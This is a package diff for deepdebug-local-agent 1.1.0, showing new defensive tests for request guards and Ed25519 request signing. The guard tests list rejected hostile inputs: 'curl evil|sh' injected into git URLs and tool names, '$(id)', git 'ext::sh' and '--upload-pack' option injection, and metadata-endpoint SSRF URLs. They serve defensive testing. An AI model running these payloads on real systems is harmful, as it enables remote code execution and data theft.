deepdebug-local-agent 1.0.22 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/context.md +76 -0
- package/.claude/skills/README.md +25 -0
- package/.claude/skills/tdd-debugging/SKILL.md +53 -0
- package/.claude/skills/tdd-debugging/references/anti-patterns.md +43 -0
- package/.claude/skills/tdd-debugging/references/command-reference.md +46 -0
- package/.claude/standards/README.md +51 -0
- package/.claude/standards/clean-code.md +75 -0
- package/.claude/standards/code-review-checklist.md +61 -0
- package/.claude/standards/layered-architecture.md +163 -0
- package/.claude/standards/node.md +45 -0
- package/.claude/standards/security-owasp.md +114 -0
- package/.claude/standards/simplicity.md +42 -0
- package/.claude/standards/solid.md +64 -0
- package/.claude/standards/testing.md +59 -0
- package/.cursor/rules/standards.mdc +17 -0
- package/.github/workflows/build-byoc-image.yml +315 -0
- package/.github/workflows/deploy-gcp.yml +102 -0
- package/.github/workflows/npm-publish.yml +69 -8
- package/AGENTS.md +21 -0
- package/CHANGELOG.md +69 -0
- package/CLAUDE.md +13 -0
- package/CLAUDE_CODE_AGENT_INFINITE.md +5 -3
- package/Dockerfile +4 -0
- package/Dockerfile.full +55 -3
- package/README.md +81 -0
- package/bin/install.js +16 -5
- package/cloudbuild-full.yaml +57 -0
- package/docker-compose.yml +5 -3
- package/docs/OBSERVABILITY.md +164 -0
- package/docs/byoc-agent-image.md +70 -0
- package/docs/graphify-packaging-plan.md +133 -0
- package/docs/graphify-validation-run-2026-10-28.md +243 -0
- package/docs/legacy-connectors.md +268 -0
- package/docs/releasing.md +43 -0
- package/docs/signed-commands.md +163 -0
- package/env.example +30 -0
- package/helm/Chart.yaml +2 -2
- package/helm/templates/deployment.yaml +13 -3
- package/helm/templates/networkpolicy.yaml +22 -0
- package/helm/templates/secret.yaml +1 -0
- package/helm/values.yaml +13 -14
- package/mcp-server.js +4 -1
- package/package.json +12 -4
- package/scripts/sync-fixtures.mjs +246 -0
- package/scripts/upgrade-observability-push.sh +227 -0
- package/src/adapters/as400/as400-parser.js +12 -0
- package/src/adapters/as400/index.js +134 -0
- package/src/adapters/cobol/cobol-parser.js +37 -0
- package/src/adapters/cobol/index.js +151 -0
- package/src/adapters/ibmmq/ibmmq-parser.js +23 -0
- package/src/adapters/ibmmq/index.js +137 -0
- package/src/adapters/index.js +79 -0
- package/src/adapters/oracle-forms/index.js +145 -0
- package/src/adapters/oracle-forms/oracle-forms-parser.js +11 -0
- package/src/adapters/sap/index.js +146 -0
- package/src/adapters/sap/sap-parser.js +41 -0
- package/src/ai-engine.js +22 -22
- package/src/config/trusted-signing-keys.json +3 -0
- package/src/detectors/build-tool-detector.js +50 -0
- package/src/detectors/multi-project-detector.js +22 -22
- package/src/detectors/service-detector.js +24 -24
- package/src/exec-utils.js +26 -4
- package/src/git/base-git-provider.js +117 -117
- package/src/git/bitbucket-provider.js +2 -2
- package/src/git/git-provider-registry.js +18 -18
- package/src/git/github-provider.js +13 -13
- package/src/git/multi-repo-pr.js +161 -0
- package/src/mcp-http-server.js +32 -16
- package/src/observability/bundle-files.js +418 -0
- package/src/observability/detect.js +151 -0
- package/src/observability/provision.js +212 -0
- package/src/observability/render-cli.js +59 -0
- package/src/observability/routes.js +88 -0
- package/src/patch/patch-engine.js +28 -28
- package/src/patch-manager.js +85 -85
- package/src/patch_bkp.js +14 -14
- package/src/ports.js +4 -4
- package/src/routes/workspace.route.js +47 -16
- package/src/runtimes/base-runtime.js +75 -75
- package/src/runtimes/java/gradle-runtime.js +17 -17
- package/src/runtimes/java/java-integrations.js +25 -25
- package/src/runtimes/java/maven-runtime.js +34 -34
- package/src/runtimes/node/node-integrations.js +1 -1
- package/src/runtimes/node/npm-runtime.js +14 -14
- package/src/runtimes/node/yarn-runtime.js +4 -4
- package/src/runtimes/runtime-registry.js +25 -25
- package/src/server-local.js +4 -4
- package/src/server.js +1412 -335
- package/src/siblings/burst-suppressor.js +89 -0
- package/src/siblings/capabilities.js +273 -0
- package/src/siblings/env-compat.cjs +58 -0
- package/src/siblings/incident-forwarder.js +320 -0
- package/src/siblings/logger.js +15 -0
- package/src/siblings/metrics.js +94 -0
- package/src/utils/agent-auth.js +184 -0
- package/src/utils/approval-token.js +56 -0
- package/src/utils/bind-host.js +29 -0
- package/src/utils/branch-refspec.js +98 -0
- package/src/utils/child-env.js +34 -0
- package/src/utils/environment-diagnostics.js +55 -55
- package/src/utils/exec-policy.js +962 -0
- package/src/utils/exec-utils.js +15 -15
- package/src/utils/file-count.js +46 -0
- package/src/utils/fs-utils.js +10 -10
- package/src/utils/multi-repo-open.js +132 -0
- package/src/utils/open-gate.js +183 -0
- package/src/utils/ranged-read.js +65 -0
- package/src/utils/request-guards.js +77 -0
- package/src/utils/request-signing.js +342 -0
- package/src/utils/root-recovery.js +244 -0
- package/src/utils/safe-exec-args.js +58 -0
- package/src/utils/sandbox.js +182 -0
- package/src/utils/search-outcome.js +56 -0
- package/src/utils/workspace-root.js +80 -0
- package/src/validators/syntax-validator.js +149 -0
- package/src/workspace/detect-port.js +16 -16
- package/src/workspace/file-reader.js +1 -1
- package/src/workspace/process-manager.js +46 -46
- package/src/workspace-manager.js +86 -24
- package/test/adapters/as400/as400.test.js +121 -0
- package/test/adapters/cobol/cobol.test.js +217 -0
- package/test/adapters/ibmmq/ibmmq.test.js +122 -0
- package/test/adapters/oracle-forms/oracle-forms.test.js +180 -0
- package/test/adapters/registry.test.js +108 -0
- package/test/adapters/sap/sap.test.js +142 -0
- package/test/agent-auth.test.js +194 -0
- package/test/bind-host.test.js +26 -0
- package/test/branch-refspec.test.js +224 -0
- package/test/burst-suppressor.test.js +60 -0
- package/test/capabilities-access.test.js +47 -0
- package/test/capabilities.test.js +87 -0
- package/test/child-env.test.js +23 -0
- package/test/env-compat.test.js +71 -0
- package/test/exec-policy.test.js +463 -0
- package/test/file-count.test.js +64 -0
- package/test/incident-forwarder.test.js +231 -0
- package/test/multi-repo-open.test.js +180 -0
- package/test/multi-repo-pr.test.js +129 -0
- package/test/observability-detect.test.js +199 -0
- package/test/open-gate.test.js +341 -0
- package/test/ranged-read.test.js +60 -0
- package/test/request-guards.test.js +91 -0
- package/test/request-signing.test.js +284 -0
- package/test/root-recovery-sidecar.test.js +171 -0
- package/test/root-recovery.test.js +274 -0
- package/test/safe-exec-args.test.js +58 -0
- package/test/sandbox.test.js +98 -0
- package/test/search-outcome.test.js +50 -0
- package/test/workspace-root.test.js +64 -0
- package/tools/graphify-validation/README.md +92 -0
- package/tools/graphify-validation/config/questions.json +31 -0
- package/tools/graphify-validation/config/repos.json +9 -0
- package/tools/graphify-validation/config/symbols.json +6 -0
- package/tools/graphify-validation/fixtures/spring/expected.json +34 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/AppConfig.java +29 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/AuditLogger.java +15 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/Cache.java +7 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/CheckoutService.java +25 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/InMemoryCache.java +18 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/OrderController.java +22 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/PaymentGateway.java +5 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/PaypalGateway.java +11 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/RefundService.java +14 -0
- package/tools/graphify-validation/fixtures/spring/src/main/java/com/example/fx/StripeGateway.java +11 -0
- package/tools/graphify-validation/lib/affected_vs_rg.py +81 -0
- package/tools/graphify-validation/lib/audit_hook/sitecustomize.py +22 -0
- package/tools/graphify-validation/lib/graph_metrics.py +96 -0
- package/tools/graphify-validation/lib/gv_common.py +130 -0
- package/tools/graphify-validation/lib/licenses.py +47 -0
- package/tools/graphify-validation/lib/pip_audit_summary.py +18 -0
- package/tools/graphify-validation/lib/recall.py +115 -0
- package/tools/graphify-validation/lib/report.py +226 -0
- package/tools/graphify-validation/lib/run_all.py +237 -0
- package/tools/graphify-validation/lib/run_graphify.py +144 -0
- package/tools/graphify-validation/lib/rusage_helper.py +17 -0
- package/tools/graphify-validation/lib/sample_edges.py +246 -0
- package/tools/graphify-validation/lib/spring_fixture.py +81 -0
- package/tools/graphify-validation/requirements-py311.lock +508 -0
- package/tools/graphify-validation/requirements-tools.in +1 -0
- package/tools/graphify-validation/requirements-tools.lock +371 -0
- package/tools/graphify-validation/requirements.in +1 -0
- package/tools/graphify-validation/requirements.lock +502 -0
- package/tools/graphify-validation/run.sh +43 -0
- package/tools/graphify-validation/tests/test_harness.py +151 -0
- package/cloudbuild-agent-qa.yaml +0 -43
- package/cloudbuild-agent-staging.yaml +0 -40
- package/cloudbuild.yaml.deprecated +0 -42
- package/src/local-agent-source.tar.gz +0 -0
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
// test/request-guards.test.js
|
|
2
|
+
// SECURITY AUDIT 2026-09: SSRF / injection guards for request fields.
|
|
3
|
+
|
|
4
|
+
import { test, describe } from 'node:test';
|
|
5
|
+
import assert from 'node:assert/strict';
|
|
6
|
+
import {
|
|
7
|
+
validateLocalTestUrl,
|
|
8
|
+
buildLocalTestUrl,
|
|
9
|
+
isSafeTenantId,
|
|
10
|
+
validateGitUrl,
|
|
11
|
+
isSafeToolName,
|
|
12
|
+
} from '../src/utils/request-guards.js';
|
|
13
|
+
|
|
14
|
+
const OWN = new Set([5055, 5056]);
|
|
15
|
+
|
|
16
|
+
describe('validateLocalTestUrl (POST /workspace/test-endpoint)', () => {
|
|
17
|
+
test('accepts the customer service on loopback', () => {
|
|
18
|
+
assert.equal(validateLocalTestUrl('http://localhost:8080/api/orders', OWN).ok, true);
|
|
19
|
+
assert.equal(validateLocalTestUrl('http://127.0.0.1:3000/', OWN).ok, true);
|
|
20
|
+
});
|
|
21
|
+
test('rejects prefix-bypass hosts that the old startsWith check allowed', () => {
|
|
22
|
+
assert.equal(validateLocalTestUrl('http://localhost.attacker.tld/x', OWN).ok, false);
|
|
23
|
+
assert.equal(validateLocalTestUrl('http://localhost@10.0.0.5/admin', OWN).ok, false);
|
|
24
|
+
assert.equal(validateLocalTestUrl('http://127.0.0.1.nip.io/', OWN).ok, false);
|
|
25
|
+
assert.equal(validateLocalTestUrl('http://127.0.0.1@169.254.169.254/latest/meta-data', OWN).ok, false);
|
|
26
|
+
});
|
|
27
|
+
test('rejects the agent\'s own ports (loopback-perimeter bypass)', () => {
|
|
28
|
+
assert.equal(validateLocalTestUrl('http://localhost:5055/setup/run-command', OWN).ok, false);
|
|
29
|
+
assert.equal(validateLocalTestUrl('http://127.0.0.1:5056/mcp/execute-command', OWN).ok, false);
|
|
30
|
+
});
|
|
31
|
+
test('rejects non-http schemes', () => {
|
|
32
|
+
assert.equal(validateLocalTestUrl('file:///etc/passwd', OWN).ok, false);
|
|
33
|
+
});
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
describe('buildLocalTestUrl (POST /workspace/test-local/execute)', () => {
|
|
37
|
+
test('normal path', () => {
|
|
38
|
+
const r = buildLocalTestUrl(8080, '/api/v1/items?x=1', OWN);
|
|
39
|
+
assert.equal(r.ok, true);
|
|
40
|
+
assert.equal(r.url, 'http://localhost:8080/api/v1/items?x=1');
|
|
41
|
+
});
|
|
42
|
+
test('"@host" path cannot retarget the request', () => {
|
|
43
|
+
assert.equal(buildLocalTestUrl(8080, '@evil.com/x', OWN).ok, false);
|
|
44
|
+
// '@' after the first '/' is path, not authority: host stays localhost.
|
|
45
|
+
const at = buildLocalTestUrl(8080, '/users/a@b.com', OWN);
|
|
46
|
+
assert.equal(at.ok, true);
|
|
47
|
+
assert.equal(new URL(at.url).hostname, 'localhost');
|
|
48
|
+
assert.equal(buildLocalTestUrl(8080, '//evil.com/x', OWN).ok, false);
|
|
49
|
+
});
|
|
50
|
+
test('bad or own port', () => {
|
|
51
|
+
assert.equal(buildLocalTestUrl('80@evil.com', '/x', OWN).ok, false);
|
|
52
|
+
assert.equal(buildLocalTestUrl(5055, '/x', OWN).ok, false);
|
|
53
|
+
assert.equal(buildLocalTestUrl(70000, '/x', OWN).ok, false);
|
|
54
|
+
});
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
describe('validateGitUrl (POST /workspace/clone)', () => {
|
|
58
|
+
test('accepts https and scp-style ssh', () => {
|
|
59
|
+
assert.equal(validateGitUrl('https://github.com/acme/app.git').ok, true);
|
|
60
|
+
assert.equal(validateGitUrl('https://x-access-token:abc123@github.com/acme/app.git').ok, true);
|
|
61
|
+
assert.equal(validateGitUrl('git@github.com:acme/app.git').ok, true);
|
|
62
|
+
});
|
|
63
|
+
test('rejects shell injection', () => {
|
|
64
|
+
assert.equal(validateGitUrl('https://github.com/a/b.git"; curl evil|sh; "').ok, false);
|
|
65
|
+
assert.equal(validateGitUrl('https://github.com/$(id)/b.git').ok, false);
|
|
66
|
+
assert.equal(validateGitUrl('https://github.com/a/`id`.git').ok, false);
|
|
67
|
+
});
|
|
68
|
+
test('rejects local / dangerous transports and option injection', () => {
|
|
69
|
+
assert.equal(validateGitUrl('file:///mnt/workspaces/other-tenant/repo').ok, false);
|
|
70
|
+
assert.equal(validateGitUrl('/etc').ok, false);
|
|
71
|
+
assert.equal(validateGitUrl('ext::sh -c touch% /tmp/pwned').ok, false);
|
|
72
|
+
assert.equal(validateGitUrl('--upload-pack=touch /tmp/x').ok, false);
|
|
73
|
+
assert.equal(validateGitUrl('http://internal.corp/repo.git').ok, false);
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
describe('isSafeTenantId', () => {
|
|
78
|
+
test('uuid-ish ids pass, traversal fails', () => {
|
|
79
|
+
assert.equal(isSafeTenantId('639227ab-1234-4cde-9f00-aa11bb22cc33'), true);
|
|
80
|
+
assert.equal(isSafeTenantId('../../etc'), false);
|
|
81
|
+
assert.equal(isSafeTenantId('a/b'), false);
|
|
82
|
+
assert.equal(isSafeTenantId(''), false);
|
|
83
|
+
});
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
describe('isSafeToolName (/setup/check-tool, /setup/install-tool)', () => {
|
|
87
|
+
test('tool names pass, shell payloads fail', () => {
|
|
88
|
+
for (const t of ['gh', 'azure-cli', 'google-cloud-sdk', 'node18', 'g++']) assert.equal(isSafeToolName(t), true, t);
|
|
89
|
+
for (const t of ['gh; id', 'x && curl evil|sh', '$(id)', '-rf', '']) assert.equal(isSafeToolName(t), false, t);
|
|
90
|
+
});
|
|
91
|
+
});
|
|
@@ -0,0 +1,284 @@
|
|
|
1
|
+
// Signed platform commands: Ed25519 over method/path/body/tenant/workspace/ts/nonce.
|
|
2
|
+
import { test, describe } from 'node:test';
|
|
3
|
+
import assert from 'node:assert/strict';
|
|
4
|
+
import crypto from 'node:crypto';
|
|
5
|
+
import http from 'node:http';
|
|
6
|
+
import express from 'express';
|
|
7
|
+
import {
|
|
8
|
+
canonicalString, sha256Hex, verifySignature, NonceCache, loadTrustedKeys, parsePublicKey,
|
|
9
|
+
resolveMode, resolveIdentity, createSignatureMiddleware, captureRawBody, verifyWsEnvelope,
|
|
10
|
+
internalSignatureHeaders,
|
|
11
|
+
} from '../src/utils/request-signing.js';
|
|
12
|
+
|
|
13
|
+
const NOW = 1_790_000_000_000; // fixed clock (ms)
|
|
14
|
+
const kp = () => crypto.generateKeyPairSync('ed25519');
|
|
15
|
+
const rawPub = (k) => k.publicKey.export({ type: 'spki', format: 'der' }).subarray(12).toString('base64');
|
|
16
|
+
const spkiPub = (k) => k.publicKey.export({ type: 'spki', format: 'der' }).toString('base64');
|
|
17
|
+
const K1 = kp();
|
|
18
|
+
const K2 = kp();
|
|
19
|
+
|
|
20
|
+
function cfg(over = {}) {
|
|
21
|
+
return {
|
|
22
|
+
mode: 'enforce',
|
|
23
|
+
keys: new Map([['k1', parsePublicKey(rawPub(K1))]]),
|
|
24
|
+
keyErrors: [],
|
|
25
|
+
identity: { tenantId: '', workspaceId: '', requireWorkspace: false },
|
|
26
|
+
maxSkewSeconds: 60,
|
|
27
|
+
nonces: new NonceCache({ now: () => NOW }),
|
|
28
|
+
now: () => NOW,
|
|
29
|
+
...over,
|
|
30
|
+
};
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
let n = 0;
|
|
34
|
+
function sign({ key = K1, keyId = 'k1', method = 'POST', pathAndQuery = '/workspace/exec', body = '{"command":"git status"}',
|
|
35
|
+
tenantId = 't1', workspaceId = 'w1', timestamp = Math.floor(NOW / 1000), nonce = `nonce-${String(++n).padStart(12, '0')}` } = {}) {
|
|
36
|
+
const data = canonicalString({ method, pathAndQuery, bodySha256: sha256Hex(Buffer.from(body)), tenantId, workspaceId, timestamp, nonce });
|
|
37
|
+
const signature = crypto.sign(null, Buffer.from(data), key.privateKey).toString('base64');
|
|
38
|
+
return { req: { method, pathAndQuery, body: Buffer.from(body), sig: { keyId, timestamp: String(timestamp), nonce, tenantId, workspaceId, signature } }, nonce };
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
describe('canonical string', () => {
|
|
42
|
+
test('is the documented, LF-joined v1 layout (golden vector shared with the Java signers)', () => {
|
|
43
|
+
assert.equal(
|
|
44
|
+
canonicalString({ method: 'post', pathAndQuery: '/workspace/exec?x=1', bodySha256: sha256Hex(Buffer.from('{}')), tenantId: 't', workspaceId: 'w', timestamp: 1790000000, nonce: 'abcdefghijklmnop' }),
|
|
45
|
+
'VH-AGENT-SIG-V1\nPOST\n/workspace/exec?x=1\n44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\nt\nw\n1790000000\nabcdefghijklmnop');
|
|
46
|
+
});
|
|
47
|
+
test('known-answer: the Java signers (gateway, agents) produce this exact signature for the golden vector', () => {
|
|
48
|
+
// Test-only key, seed 0x01..0x20 — same as AgentRequestSignerTest / NodeAgentClientFactorySigningTest.
|
|
49
|
+
const pub = parsePublicKey('MCowBQYDK2VwAyEAebVWLo/mVPlAeLES6KmLp5AfhTrmlb7X4OORC60ElmQ=');
|
|
50
|
+
const golden = 'VH-AGENT-SIG-V1\nPOST\n/workspace/exec?x=1\n44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\nt\nw\n1790000000\nabcdefghijklmnop';
|
|
51
|
+
const sig = 'N1A0BhNN4jA0dTMM8saxwy4TqF0A+BHcqovejKS/EItZRYqjN0O53CjBTiI3FEyE7bQgtGMz/+hyXcFFvt3VBQ==';
|
|
52
|
+
assert.equal(crypto.verify(null, Buffer.from(golden), pub, Buffer.from(sig, 'base64')), true);
|
|
53
|
+
const c = cfg({ keys: new Map([['java', pub]]), now: () => 1790000000 * 1000 });
|
|
54
|
+
const out = verifySignature({ method: 'POST', pathAndQuery: '/workspace/exec?x=1', body: Buffer.from('{}'),
|
|
55
|
+
sig: { keyId: 'java', timestamp: '1790000000', nonce: 'abcdefghijklmnop', tenantId: 't', workspaceId: 'w', signature: sig } }, c);
|
|
56
|
+
assert.equal(out.ok, true);
|
|
57
|
+
});
|
|
58
|
+
test('empty body hashes as sha256("")', () => {
|
|
59
|
+
assert.equal(sha256Hex(undefined), 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855');
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
describe('verifySignature', () => {
|
|
64
|
+
test('valid signature verifies and returns the signed identity', () => {
|
|
65
|
+
const out = verifySignature(sign().req, cfg());
|
|
66
|
+
assert.deepEqual(out, { ok: true, tenantId: 't1', workspaceId: 'w1', keyId: 'k1' });
|
|
67
|
+
});
|
|
68
|
+
test('rejects: unsigned, unknown key, tampered body/path/method/tenant, wrong key', () => {
|
|
69
|
+
const c = cfg();
|
|
70
|
+
assert.match(verifySignature({ method: 'POST', pathAndQuery: '/x', body: Buffer.alloc(0), sig: null }, c).reason, /unsigned/);
|
|
71
|
+
assert.match(verifySignature(sign({ keyId: 'nope' }).req, c).reason, /unknown signing key/);
|
|
72
|
+
const t1 = sign().req; t1.body = Buffer.from('{"command":"rm -rf ."}');
|
|
73
|
+
assert.equal(verifySignature(t1, c).reason, 'bad signature');
|
|
74
|
+
const t2 = sign().req; t2.pathAndQuery = '/setup/run-command';
|
|
75
|
+
assert.equal(verifySignature(t2, c).reason, 'bad signature');
|
|
76
|
+
const t3 = sign().req; t3.method = 'PUT';
|
|
77
|
+
assert.equal(verifySignature(t3, c).reason, 'bad signature');
|
|
78
|
+
const t4 = sign().req; t4.sig.tenantId = 'other';
|
|
79
|
+
assert.equal(verifySignature(t4, c).reason, 'bad signature');
|
|
80
|
+
assert.equal(verifySignature(sign({ key: K2 }).req, c).reason, 'bad signature');
|
|
81
|
+
});
|
|
82
|
+
test('rejects when no trusted keys are configured', () => {
|
|
83
|
+
assert.match(verifySignature(sign().req, cfg({ keys: new Map() })).reason, /no trusted signing keys/);
|
|
84
|
+
});
|
|
85
|
+
test('skew: 60s accepted, 61s rejected (both directions)', () => {
|
|
86
|
+
const c = cfg();
|
|
87
|
+
const t = Math.floor(NOW / 1000);
|
|
88
|
+
assert.equal(verifySignature(sign({ timestamp: t - 60 }).req, c).ok, true);
|
|
89
|
+
assert.equal(verifySignature(sign({ timestamp: t + 60 }).req, c).ok, true);
|
|
90
|
+
assert.match(verifySignature(sign({ timestamp: t - 61 }).req, c).reason, /skew 61s/);
|
|
91
|
+
assert.match(verifySignature(sign({ timestamp: t + 61 }).req, c).reason, /skew 61s/);
|
|
92
|
+
});
|
|
93
|
+
test('replay: the same nonce is accepted once', () => {
|
|
94
|
+
const c = cfg();
|
|
95
|
+
const { req } = sign();
|
|
96
|
+
assert.equal(verifySignature(req, c).ok, true);
|
|
97
|
+
assert.equal(verifySignature(req, c).reason, 'replayed nonce');
|
|
98
|
+
});
|
|
99
|
+
test('a failed verification does not burn the nonce', () => {
|
|
100
|
+
const c = cfg();
|
|
101
|
+
const good = sign();
|
|
102
|
+
const bad = structuredClone(good.req); bad.body = Buffer.from('x');
|
|
103
|
+
assert.equal(verifySignature(bad, c).ok, false);
|
|
104
|
+
assert.equal(verifySignature(good.req, c).ok, true);
|
|
105
|
+
});
|
|
106
|
+
test('tenant / workspace binding to the configured identity', () => {
|
|
107
|
+
const c = cfg({ identity: { tenantId: 't1', workspaceId: 'w1', requireWorkspace: false } });
|
|
108
|
+
assert.equal(verifySignature(sign({ tenantId: 't1', workspaceId: 'w1' }).req, c).ok, true);
|
|
109
|
+
assert.match(verifySignature(sign({ tenantId: 't2' }).req, c).reason, /tenant mismatch/);
|
|
110
|
+
assert.match(verifySignature(sign({ tenantId: '' }).req, c).reason, /tenant mismatch/);
|
|
111
|
+
assert.match(verifySignature(sign({ workspaceId: 'w2' }).req, c).reason, /workspace mismatch/);
|
|
112
|
+
// untagged workspace is tolerated unless LOCAL_AGENT_REQUIRE_WORKSPACE=true
|
|
113
|
+
assert.equal(verifySignature(sign({ workspaceId: '' }).req, c).ok, true);
|
|
114
|
+
const strict = cfg({ identity: { tenantId: 't1', workspaceId: 'w1', requireWorkspace: true } });
|
|
115
|
+
assert.match(verifySignature(sign({ workspaceId: '' }).req, strict).reason, /workspace mismatch/);
|
|
116
|
+
});
|
|
117
|
+
test('shared agent (no configured identity) accepts any signed tenant', () => {
|
|
118
|
+
assert.equal(verifySignature(sign({ tenantId: 'anyone' }).req, cfg()).ok, true);
|
|
119
|
+
});
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
describe('key rotation', () => {
|
|
123
|
+
test('both keys verify during the rotation window; a removed key stops verifying', () => {
|
|
124
|
+
const env = { LOCAL_AGENT_SIGNING_PUBLIC_KEYS: `k1=${rawPub(K1)},k2=${spkiPub(K2)}` };
|
|
125
|
+
const { keys, errors } = loadTrustedKeys(env, { defaultFile: null });
|
|
126
|
+
assert.deepEqual(errors, []);
|
|
127
|
+
const c = cfg({ keys });
|
|
128
|
+
assert.equal(verifySignature(sign({ key: K1, keyId: 'k1' }).req, c).ok, true);
|
|
129
|
+
assert.equal(verifySignature(sign({ key: K2, keyId: 'k2' }).req, c).ok, true);
|
|
130
|
+
const after = cfg({ keys: loadTrustedKeys({ LOCAL_AGENT_SIGNING_PUBLIC_KEYS: `k2=${rawPub(K2)}` }, { defaultFile: null }).keys });
|
|
131
|
+
assert.match(verifySignature(sign({ key: K1, keyId: 'k1' }).req, after).reason, /unknown signing key/);
|
|
132
|
+
// a key id cannot be used with another key's signature
|
|
133
|
+
assert.equal(verifySignature(sign({ key: K1, keyId: 'k2' }).req, c).reason, 'bad signature');
|
|
134
|
+
});
|
|
135
|
+
test('PEM public keys and the image default file are accepted; bad entries are reported', async () => {
|
|
136
|
+
const fs = await import('node:fs');
|
|
137
|
+
const os = await import('node:os');
|
|
138
|
+
const path = await import('node:path');
|
|
139
|
+
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'sigkeys-'));
|
|
140
|
+
const file = path.join(dir, 'keys.json');
|
|
141
|
+
fs.writeFileSync(file, JSON.stringify([{ keyId: 'img', publicKey: K1.publicKey.export({ type: 'spki', format: 'pem' }) }]));
|
|
142
|
+
const { keys, errors } = loadTrustedKeys({ LOCAL_AGENT_SIGNING_KEYS_FILE: file, LOCAL_AGENT_SIGNING_PUBLIC_KEYS: 'bad,k9=AAAA' });
|
|
143
|
+
assert.ok(keys.has('img'));
|
|
144
|
+
assert.equal(errors.length, 2);
|
|
145
|
+
});
|
|
146
|
+
test('non-Ed25519 keys are refused', () => {
|
|
147
|
+
const rsa = crypto.generateKeyPairSync('rsa', { modulusLength: 1024 });
|
|
148
|
+
assert.throws(() => parsePublicKey(rsa.publicKey.export({ type: 'spki', format: 'pem' })), /not Ed25519/);
|
|
149
|
+
});
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
describe('NonceCache', () => {
|
|
153
|
+
test('expires after its TTL and stays bounded (LRU)', () => {
|
|
154
|
+
let t = 0;
|
|
155
|
+
const c = new NonceCache({ ttlMs: 1000, max: 3, now: () => t });
|
|
156
|
+
assert.equal(c.checkAndRemember('a'), true);
|
|
157
|
+
assert.equal(c.checkAndRemember('a'), false);
|
|
158
|
+
t = 1001;
|
|
159
|
+
assert.equal(c.checkAndRemember('a'), true);
|
|
160
|
+
c.checkAndRemember('b'); c.checkAndRemember('c'); c.checkAndRemember('d');
|
|
161
|
+
assert.equal(c.size, 3);
|
|
162
|
+
});
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
describe('config', () => {
|
|
166
|
+
test('mode defaults to warn; unknown values fall back to warn', () => {
|
|
167
|
+
assert.equal(resolveMode(undefined), 'enforce');
|
|
168
|
+
assert.equal(resolveMode('ENFORCE'), 'enforce');
|
|
169
|
+
assert.equal(resolveMode('bogus'), 'enforce');
|
|
170
|
+
assert.equal(resolveMode('warn'), 'warn');
|
|
171
|
+
});
|
|
172
|
+
test('identity comes from LOCAL_AGENT_* then the provisioned TENANT_ID / WORKSPACE_ID', () => {
|
|
173
|
+
assert.deepEqual(resolveIdentity({ TENANT_ID: 't', WORKSPACE_ID: 'w' }), { tenantId: 't', workspaceId: 'w', requireWorkspace: false });
|
|
174
|
+
assert.equal(resolveIdentity({ TENANT_ID: 't', LOCAL_AGENT_TENANT_ID: 'x' }).tenantId, 'x');
|
|
175
|
+
});
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
// ── middleware: warn vs enforce over real HTTP ──
|
|
179
|
+
async function serve(mode, handler = (req, res) => res.json({ ok: true, sig: req.vhSignature })) {
|
|
180
|
+
const app = express();
|
|
181
|
+
app.use(express.json({ verify: captureRawBody }));
|
|
182
|
+
app.use(createSignatureMiddleware(cfg({ mode, now: () => Date.now(), nonces: new NonceCache() })));
|
|
183
|
+
app.post('/workspace/exec', handler);
|
|
184
|
+
app.get('/health', (_q, r) => r.json({ ok: true }));
|
|
185
|
+
const server = http.createServer(app);
|
|
186
|
+
await new Promise(r => server.listen(0, '127.0.0.1', r));
|
|
187
|
+
return { server, base: `http://127.0.0.1:${server.address().port}` };
|
|
188
|
+
}
|
|
189
|
+
function liveHeaders(body, over = {}) {
|
|
190
|
+
const ts = Math.floor(Date.now() / 1000);
|
|
191
|
+
const nonce = crypto.randomBytes(16).toString('base64url');
|
|
192
|
+
const data = canonicalString({ method: 'POST', pathAndQuery: '/workspace/exec', bodySha256: sha256Hex(Buffer.from(body)), tenantId: 't1', workspaceId: 'w1', timestamp: ts, nonce });
|
|
193
|
+
return {
|
|
194
|
+
'content-type': 'application/json',
|
|
195
|
+
'x-vh-key-id': 'k1', 'x-vh-timestamp': String(ts), 'x-vh-nonce': nonce,
|
|
196
|
+
'x-vh-tenant-id': 't1', 'x-vh-workspace-id': 'w1',
|
|
197
|
+
'x-vh-signature': crypto.sign(null, Buffer.from(data), K1.privateKey).toString('base64'),
|
|
198
|
+
...over,
|
|
199
|
+
};
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
describe('signature middleware', () => {
|
|
203
|
+
test('enforce: signed passes, unsigned / tampered / replayed get 401; /health stays public', async () => {
|
|
204
|
+
const { server, base } = await serve('enforce');
|
|
205
|
+
try {
|
|
206
|
+
const body = '{"command":"git status"}';
|
|
207
|
+
const h = liveHeaders(body);
|
|
208
|
+
let r = await fetch(`${base}/workspace/exec`, { method: 'POST', headers: h, body });
|
|
209
|
+
assert.equal(r.status, 200);
|
|
210
|
+
assert.equal((await r.json()).sig.verified, true);
|
|
211
|
+
